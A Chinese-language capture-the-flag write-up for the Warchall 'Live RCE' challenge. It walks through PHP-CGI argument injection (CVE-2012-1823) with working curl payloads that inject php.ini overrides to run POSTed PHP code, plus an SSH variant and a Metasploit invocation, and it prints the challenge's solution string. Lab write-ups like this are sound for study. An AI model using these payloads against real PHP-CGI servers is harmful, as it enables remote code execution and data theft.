WeChall - Warchall - Live RCE

Challenge

Warchall 服务器上的 Live RCE 题目,目标是证明对 rce.warchall.net 的可控命令执行,并读取 challenge solution。

WeChall 页面只给入口和提交框,真正的靶机在:

1
https://rce.warchall.net/index.php

Recon

先看源码。PHP-CGI 模式下 -s 参数会泄露源码而不是高亮输出:

1
$ curl -s 'https://rce.warchall.net/index.php?-s'

页面源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
require '../config.php';
$username = isset($_GET['username']) ? (string)$_GET['username'] : 'Guest';
?>
<!DOCTYPE html>
<html>
<head><title>Live RCE [Warchall]</title></head>
<body>
<h1>Live RCE!</h1>
<p>Hello <?php echo $username; ?>!</p>
<p>Here are your $_SERVER vars:</p>
<pre><?php print_r($_SERVER); ?></pre>
</body>
</html>

两个关键发现:

  1. -s 生效了——说明 URL 参数直接传给了 PHP-CGI 解释器,而不是被 Apache 吞掉。
  2. 源码里 require '../config.php',solution 大概率藏在那里。

Vulnerability: PHP-CGI Argument Injection

当 PHP 以 CGI 模式运行时(php-cgi),命令行参数可以通过 URL query string 传递。这不是 bug,是 CGI 协议的设计——query string 本来就是传给程序的。PHP-CGI 会解析以 - 开头的参数,就像命令行 php -d key=value -s file.php 一样。

CVE-2012-1823 记录了这个漏洞。受影响的是所有以 CGI/FastCGI 模式运行且没有做参数过滤的 PHP 部署。

核心 payload 参数:

参数 作用
-s 泄露源码(syntax highlight)
-d key=value 覆盖 php.ini 配置项
-n 不加载 php.ini

Exploit

方法一:php://input(纯 HTTP,不需要 SSH)

通过 -d 覆盖两个关键配置:

  • allow_url_include=On — 允许 include 远程/流包装器
  • auto_prepend_file=php://input — 在每个 PHP 文件执行前先 include 请求体
1
2
3
$ curl -s -X POST \
'https://rce.warchall.net/index.php?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input' \
-d '<?php echo file_get_contents("../config.php"); ?>'

输出:

1
2
3
4
5
6
7
8
YOU WIN!
<?php
define('ICANHAZRCE', 'StrongGard_6_3');
return ICANHAZRCE;
?>
YOU WIN!
<!DOCTYPE html>
...

YOU WIN!config.php 里预设的标志。后面的 HTML 是正常页面渲染——因为 auto_prepend_file 在 index.php 执行前就跑了我们的 payload。

方法二:SSH + auto_prepend_file

如果有 Warchall SSH 访问权限,可以先在服务器上放一个 PHP 文件,然后用 auto_prepend_file 指向它:

1
2
3
4
5
6
# SSH 上去写文件
$ ssh -p 19198 user@warchall.net
$ echo '<?php echo file_get_contents("../config.php"); ?>' > /var/tmp/s.txt

# 然后触发
$ curl 'https://rce.warchall.net/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d/var/tmp/s.txt'

结果要「查看源码」才能看到——因为 PHP 输出混在 HTML 里,浏览器渲染后不可见。

方法三:Metasploit

1
2
3
4
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS rce.warchall.net
set TARGETURI /index.php
run
StrongGard_6_3